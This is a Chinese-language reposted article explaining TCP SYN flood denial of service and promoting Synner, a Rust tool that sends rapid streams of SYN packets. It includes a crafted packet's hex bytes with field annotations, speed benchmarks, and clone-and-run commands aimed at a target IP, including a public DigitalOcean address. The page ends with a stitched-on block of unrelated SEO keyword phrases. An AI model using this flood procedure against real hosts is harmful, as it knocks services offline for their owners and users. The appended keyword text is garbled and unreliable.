千家信息网

TCP SYN Flood是怎么实现

发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,这篇文章将为大家详细讲解有关TCP SYN Flood是怎么实现,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。摘要拒绝服务攻击(DDoS)从1970年
千家信息网最后更新 2025年01月20日TCP SYN Flood是怎么实现

这篇文章将为大家详细讲解有关TCP SYN Flood是怎么实现,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

摘要

拒绝服务攻击(DDoS)从1970年出现直到今天都依然在作祟,并给全球范围内的各大组织带来了不可估量的损失。在这篇文章中,我们将跟大家介绍一种特定的DoS攻击,即TCP SYN Flood攻击,并介绍一款名叫Synner的工具。

该工具采用Rust开发,由libpnet驱动,该工具目前仍处于开发状态(WIP),不过现在的功能已经足以发布出来跟社区人员共享了。

介绍

Synner能够向目标快速持续地发送SYN数据包奥,并引起目标拒绝服务。一般来说,编写并将这类攻击工具开源出来,使很多安全社区的研究人员所诟病的,但我个人并不这样认为,因为我们只有清楚地知道攻击的具体实现方式,我们才能更好地保护自己。

TCP SYNFlood攻击原理

TCP SYNFlood攻击利用的是TCP的三次握手(SYN -> SYN/ACK -> ACK),过程如下图所示:

核心思想就是同步发送SYN数据包,这样的操作对于发送方(攻击者)来说是非常容易实现的,而对于接收方(目标)来说会需要消耗更多的资源去接收和处理数据包。除此之外,在发送完SYN数据包之后,我们不需要等待接收端返回的SYN/ACK数据包,我们只需要继续向对方发送SYN数据包并让服务器自己去处理就可以了。这样一来,当合法用户尝试连接服务器时,服务器已经有大量SYN连接需要去处理,因此将无法及时相应合法用户的请求。

对于接收方来说还有一个难题,就是请求源是可以伪造的,尤其是src端口,这就增加了屏蔽非法请求的难度。

下面给出的是一个随机TCP SYN数据包的十六进制形式:

0000   08 00 27 cb 9d 0b 48 4d 7e 9c 79 4b 08 00 4500   ..'Ë..HM~.yK..E.0010   00 34 7e b2 40 00 80 06 b8 b5 c0 a8 21 01 c0a8   .4~²@...¸µÀ¨!.À¨0020   21 0a f8 e0 b5 58 f4 fa f1 e9 00 00 00 00 8002   !.øàµXôúñé......0030   fa f0 66 5b 00 00 03 03 08 04 02 02 04 05 b401   úðf[..........´.0040   01 00

解析出来之后的结果如下:

0x08,0x00, 0x27, 0xcb, 0x9d, 0x0b,     //Destination MAC0x48,0x4d, 0x7e, 0x9c, 0x79, 0x4b,      //Source MAC0x08,0x00,                                                //Type (IPv4)0x45,                                                          //IPv4 Header Length0x00,                                                          //Explicit Congestion Notification (congestion control)0x00,0x34,                                                //Total length0x7e,0xb2,                                                //Identification number0x40,0x00,                                                //Fragment Offset (Don't Fragment packet for us, it's under 1460 bytes)0x80,                                                          //Time to Live (128)0x06,                                                        //IP protocol version (6/TCP)0xb8,0xb5,                                               //Header checksum using internet checksum technique (validation disabled)0xc0,0xa8, 0x21, 0x01,                          //Source IP0xc0,0xa8, 0x21, 0x0a,                          //Destination IP0xf8,0xe0,                                                 //TCP Source Port (max 65535)0xb5,0x58,                                                //TCP Destination Port (max 65535)0xf4,0xfa, 0xf1, 0xe9,                            //Sequence number, generally random to avoid other variants of TCP    attacks0x00,0x00, 0x00, 0x00,                         //TCP ACK value set to 0 since this is just a SYN packet0x80,0x02,                                                //TCP flags (only SYN [00000010] bit is set)0xfa,0xf0,                                                  //TCP window size0x66,0x5b,                                                //TCP checksum0x00,0x00,                                     //TCP urgent pointer set to 0,    useful with stuff like FTP that use port 20 &21 for control & transfer0x03,0x03, 0x08, 0x04,                         //TCP Options0x02,0x02, 0x04, 0x05,    0xb4,            // TCP Options values0x01,0x01, 0x00                             //TCP NOP option (padding)

Synner到底有多快?

Synner一开始的速度还是比较慢的,首先我当时还没有使用任何编译器来对其进行优化,其次我当时选择使用的是pnet_datalink::DataLinkSender::send_to而不是pnet_datalink::DataLinkSender::build_and_send,这也就意味着我选择克隆数据包的方式还不够完美。因此,Synner当时发送1000000个TCPSYN数据包需要花29.48秒,相当于每秒钟发送33921个数据包,简直是受不了。

不过经过优化之后的结果还是比较好的,数据如下:

原始的Powershell输出如下:

PS C:\Users\jdb\Projects\synner\target\release>Measure-Command {./synner 192.168.33.10"\Device\NPF_{927C716F-3AD0-42D6-89A1-0B121C6F5413}"}  Days              : 0Hours             : 0Minutes           : 0Seconds           : 6Milliseconds      : 736Ticks             : 67369563TotalDays         : 7.797403125E-05TotalHours        : 0.00187137675TotalMinutes      : 0.112282605TotalSeconds      : 6.7369563TotalMilliseconds: 6736.9563   PSC:\Users\jdb\Projects\synner\target\release> pushd ../debugPSC:\Users\jdb\Projects\synner\target\debug> Measure-Command {./synner192.168.33.10 "\Device\NPF_{927C716F-3AD0-42D6-89A1-0B121C6F5413}"}  Days              : 0Hours             : 0Minutes           : 0Seconds           : 19Milliseconds      : 688Ticks             : 196886353TotalDays         : 0.00022787772337963TotalHours        : 0.00546906536111111TotalMinutes      : 0.328143921666667TotalSeconds      : 19.6886353TotalMilliseconds: 19688.6353

工具要求

1. rustc/cargov1.27.0

2. WinPcapfor libpnet(Windows)

工具使用

首先使用下列命令克隆项目源码:

git clone https://github.com/JuxhinDB/synner.git

然后运行下列命令:

cargo run TARGET_IP INTERFACE_NAME

为了确保能够导出完整的网络接口列表,请确保使用管理员权限运行命令行工具。

如果你无法确定接口名称,你可以使用\DEVICE\来查看接口列表,例如:

cargo run 192.168.33.10 \DEVICE\   Compiling synner v0.1.0(file:///C:/Users/juxhindb/Projects/synner)    Finished dev [unoptimized + debuginfo]target(s) in 1.63s     Running `target\debug\synner.exe192.168.33.10 \DEVICE\`Listof Available Interfaces Interfacename: "\\Device\\NPF_{B1BBC7C0-C3CF-490B-A640-00ABDB86F989}"InterfaceMAC: 0a:00:27:00:00:12InterfaceIP: 192.168.99.1 Interfacename: "\\Device\\NPF_{AD266AD1-7AE0-4360-8EE5-ED6283B43B9C}"InterfaceMAC: 2a:56:5a:4f:fc:e9InterfaceIP: 0.0.0.0 Interfacename: "\\Device\\NPF_{2288F93F-E56C-4F71-8B8E-C385BE71421F}"InterfaceMAC: 1a:56:5a:4f:fc:e9InterfaceIP: 0.0.0.0

使用样例

运行下列命令对一个DigitalOcean测试用例进行测试:

cargo run 206.189.96.237 \Device\NPF_{F94968E8-FBA0-410D-8CD3-F205AEAD4DC9}

在下面这个GIF中,底部是运行Synner的界面,右边是一个SSH连接,用来查看TCP连接信息(sudotcpdump "tcp[tcpflags] & (tcp-syn) != 0" -i eth0 -n),当我成功对第一个目标进行TCP SYN Flood攻击之后,左边显示的是我尝试对第二个目标进行攻击的画面。

关于TCP SYN Flood是怎么实现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

数据 攻击 工具 目标 服务 命令 运行 接口 更多 服务器 篇文章 处理 合法 人员 内容 就是 文章 方式 用户 知识 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 电脑网络无法显示共享服务器 软件开发保险公司与银行 网络安全 系统 南京曲中求网络技术有限公司 阿里云服务器虚拟目录配置 手机登录显示服务器返回出错 软件开发的最佳实践什么意思 埃森哲ATG软件开发 备份数据库数据linux 数仓软件开发工程师 我的世界服务器插件权限 数据库评价物理结构的标准 加固服务器包含多少配件 创建数据库的基本目标是 数据库给每一列数字加1 数据库系统基础电子版 什么板块比网络安全 软件开发和技术支持哪个更好 软件开发费税点是多少 身边的网络安全故事漫画 青岛羚羊网络技术服务有限公司 软件开发定制外包6 软件开发项目尖兵颁奖词 无锡电子网络技术市场价格 对软件开发的看法面试 远程登录服务器缩写 obs服务器和串流密码 上传数据写入数据库中 福建网络安全行业上市公司 网络安全校园公益主题海报漫画
0